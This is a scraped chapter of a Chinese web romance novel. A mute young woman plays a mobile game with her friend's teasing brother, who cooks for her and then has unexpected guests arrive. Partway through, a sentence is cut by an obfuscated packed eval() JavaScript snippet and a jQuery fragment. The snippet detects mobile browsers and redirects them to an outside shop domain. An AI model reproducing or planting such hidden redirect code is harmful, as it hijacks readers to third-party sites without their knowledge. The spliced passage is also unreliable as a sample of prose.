这间公寓不大,两室一厅的格局,客厅小而精致。
凌野环顾一周,选了个对自己而言最舒适的距离——在离沙发最远的休闲椅坐下。
江卿书刚结束一局战斗,慵懒地转了转脖子,视线漫不经心扫过安静坐在那里的凌野,挑了挑眉。
“坐那么远做什么?”江卿书笑得玩味,“我还能吃了你?”
他拍了拍自己身旁的位置:“过来坐。”
凌野咬了咬唇,有点不情愿。
心里挣扎了片刻,到底还是站起身,慢吞吞挪到沙发的旁边。
她没听他的安排,而是在沙发的另一头坐下。
低下眼,默默掏出手机。
江卿书稍显意外地看了她一眼,无声笑了笑,低声道:“小屁孩。”
凌野打开星辰法典,指尖在登录的按钮上悬停几秒,想起之前输给那几个少年的事。
虽然当时并没有输得很难看,只是惜败,但,自身固有的骄傲还是让她感受到了挫败。
她抬起眼,偷偷瞟了眼江卿书,然后切换账号,登录了自己的小号。
江卿书靠在沙发靠背上,似乎等得有点不耐烦,偏过头看向凌野:“可以了么?”
隔着不远的距离,那声音传过来,意外地和记忆里某个声音重合。
那不是刻意的压嗓,却似乎让他们之间的空气都在微妙地震动。
就如无数个深夜,从耳机里淌出,沁进她心尖的那道声音一样。
凌野的指尖微微颤了颤。
她下意识地抬眼。
对上的是一张不可一世的脸,和自己想象中的温润俊雅的“青梧”天差地别。
那张脸正笑得狡黠:“怎么?还没开始就打算认输了?”
那略微夸张的上扬的尾调,又跟那声音相去甚远了。
像是被人一下从虚幻中拉回现实,凌野怔了怔,在江卿书戏谑的目光里摇了摇头:没事。
随着开局的系统提示音响起,客厅里安静下来。
江卿书很快将她拉进双排局。
凌野深呼口气,几乎是抱着十万分的准备,来被江卿书虐的。
她甚至做好了游戏结束后被他嘲讽的准备。
谁曾想,江卿书的表现再次超出了她的预期。
开局十分钟,他淡定而从容地、华丽丽地、献出了自己的首血。
凌野错愕一瞬,看了眼他头顶金灿灿的“极星6星”的段位标识,只当他是失误,操纵英雄到他身边,救他于水火。
没想到,江卿书一朝得了庇护,无比丝滑地顺杆爬到凌野身后,做起了高端挂件。
她进攻,他收割;
她打野,他捡漏。
回血的间隙,凌野悄悄抬眼打量江卿书。
他依旧懒懒散散,没有半点拖了她后腿的懊恼,也没有因为自己的无耻而有半点羞愧。
就在凌野在心底疯狂刷新江卿书此人的厚脸皮下限的时候,那厮似乎终于察觉到了她的不悦。
他在紧张焦灼的战斗间隙,操纵自己的英雄站到凌野旁边,手里还捧着刚刚截胡的蓝宝石。
凌野疑惑他在做什么,就见队伍频道里飘出一行字:
【想要么?哥送你。】
凌野无语望天,队友们却炸了锅:
【靠!什么鬼?】
【哥们的极星等级是代练来的吧?】
凌野就是在这样无力又震惊的情绪中熬过了这局战斗。
直到金色的胜利字样铺满屏幕,才如释重负般松了口气。
“表现不错!”
江卿书将手机丢在桌上,双手交叉枕在脑后,一副“我心甚慰”的表情,大言不惭地总结陈词。
凌野再也忍不了了。
她咬紧下唇,在手机上飞快打字,然后递到江卿书面前:
【你的星级是认真的吗?】
江卿书轻飘飘扫过来一眼,无所谓地怂了怂肩:“是有点低,”他翘着二郎腿,似乎很认真地想了想,又说,“那,升级的任务,就交给你吧!”
游戏结束后,凌野回了房间。
跟不太熟的人待在同一屋檐下,让她多少有点不自在。
凌野当然不会自作多情地以为,江卿书真的会如江悦所言专门过来照顾她。
那顿早饭,大概也是为了江悦。
她看了看时间,上午十一点,江卿书大概也快走了。
但她不好催他离开,毕竟,这是人家的房子。
直到半小时后,客厅没了动静,凌野才将卧室门悄悄打开一条缝朝外看——
果然没了江卿书的身影。
凌野这才抱着衣服进了卫生间。
她在卫生间待了大概四十分钟,等再次抱着烘干的衣服打算去阳台晾晒的时候,刚打开卫生间门,便生生顿住。
厨房的处理台上摆着切好的菜。
江卿书正背对着她的方向,系着围裙在忙活。
凌野咬了咬唇,低眼看了盆里洗好的衣服,最上面是她的贴身衣服。
片刻后,她如临大敌般,一张脸肉眼可见地涨红。
手忙脚乱地去翻盆里的衣服,试图把那几件贴身衣服藏到最下面。
越忙越乱,一声闷响,装衣服的塑料盆打翻在地。
这声音引得江卿书回了头。
他手里还握着锅铲,疑惑地看凌野,然后,视线又落在地上。
自从失声以来,凌野从未像此刻这样庆幸过。
庆幸自己不能说话,不用为这样尴尬又抓马的场景找牵强附会的借口。
唯一苦恼的,就是自己越发滚烫的脸颊。
一定难看极了。
江卿书却似乎什么都没看见一样,又很自然地转回身去。
打火、倒油、炝锅。
几乎是一瞬,安静的室内被烈火烹油的声响填满,随之弥漫而来的,是令人垂涎的食物香气。
满室的烟火气轻而易举地将尴尬掩去,似乎没人注意到这个微小的角落。
凌野蹲下身,将衣服捡回盆里,然后抱着回了房间。
等她端着水杯再出来的时候,江卿书已经坐在餐桌前。
桌上已经摆着三菜一汤,相比早晨的简约清淡,这几样菜色香味都格外诱人。
客厅不算大,凌野要去接水,就必须经过餐桌旁。
她低下眼,尽量让自己不去在意有强大存在感的江卿书,目不斜视地从桌前经过。
“喂!”
江卿书却适时叫住她。
他坐姿依旧懒散,脸上没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17839010|211580||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
什么表情:“做多了,帮忙吃点。”
凌野顿住步子,刚要摇头,就听江卿书又接了句:“就当是你带我升星的报酬吧!”
凌野发现,江卿书这个人,似乎真的没什么事情做。
江悦总抱怨江卿书唠叨,嫌她没有上进心,嫌她不好好工作。可是在凌野看来,他自己才是最“不务正业”的那一个。
就比如整个下午,他只中间接了几个电话,通话内容也少得可怜。
除此之外,他都窝在沙发里,星典的音效声都没停过。
很自然地,凌野也被他拉着排了好几把。
直到晚上,凌野的救星终于拖着步子、耷拉着脑袋回了公寓。
她进门蹬掉鞋子,一头扎进凌野怀里:“阿野,抱抱……”
江卿书坐在沙发上,抱臂看着这一幕,竟然罕见地没有出言阻止。
“啊啊啊!怪不得人们发誓的时候总爱说,下辈子我愿意当牛做马怎样怎样!原来,牛马是真的累啊啊啊啊!”
江悦窝在凌野怀里偏过头,看向江卿书:“哥,我能……”
“不能,”江卿书丝滑而果断地拒绝她:“就算天上下刀子,这个班,你也得上。”
江悦虽然嘴上对江卿书寸步不让,可在这种正事上,她半点没有反抗的余地。
充其量,也只是一脸悲愤地拽着凌野回了房间。
凌野没有兄弟姐妹,但亲眼看着这对兄妹的日常相处,明白江卿书是真的疼这个妹妹。
她不自觉便替江卿书说了句话:【悦悦,别气了,你哥其实对你挺好的。】
江悦看清她手机上敲下的字,眼睛猛地瞪大:“阿野,不是吧?才一天,你就弃暗投明,替江卿书那狗逼说话了?”
凌野哭笑不得解释:【今天一早,他还专门过来给你做早餐,只不过你走得早,没吃上。】
江悦盯着看了几秒,抬头,伸手捏了捏凌野的脸:“阿野,你怎么这么可爱?我八点上班,他八点半过来做饭,哪里是给我?”
凌野一脸疑惑。
“他是专门过来照顾病号的呀阿野。”
凌野猛地顿住,犹有点不敢相信。
【我吗?】
江悦理所当然地点头:“对呀!你这次生病,他占主要责任,他不该照顾你么?”
江悦没觉得有什么不对,一脸理所当然。
凌野却被这个迟来的信息差惊到了。
脑中忽地出现他系着围裙站在厨房流理台前的样子。
【可是,他不上班的话,没问题吗?】
江悦正将家居服往身上套,随口应:“他是老板,他不扣别人钱就不错了。”
凌野更加疑惑,还有能天天打星典的老板呢?
两人在房间里聊了半天,直到江卿书过来敲门喊吃饭,江悦才拉着凌野出去。
刚打开卧室门,下一刻,两人双双愣在那里。
不大的餐厅里,除了江卿书,不知何时多了三个人。
而这三个人,凌野居然都见过。
其中两个是那天晚上和她玩过星典的少年,另一个,则是大名鼎鼎的大神不周。
那三人同样也看到了江悦和凌野。
三人同时朝她们挥了挥手:
“嗨!”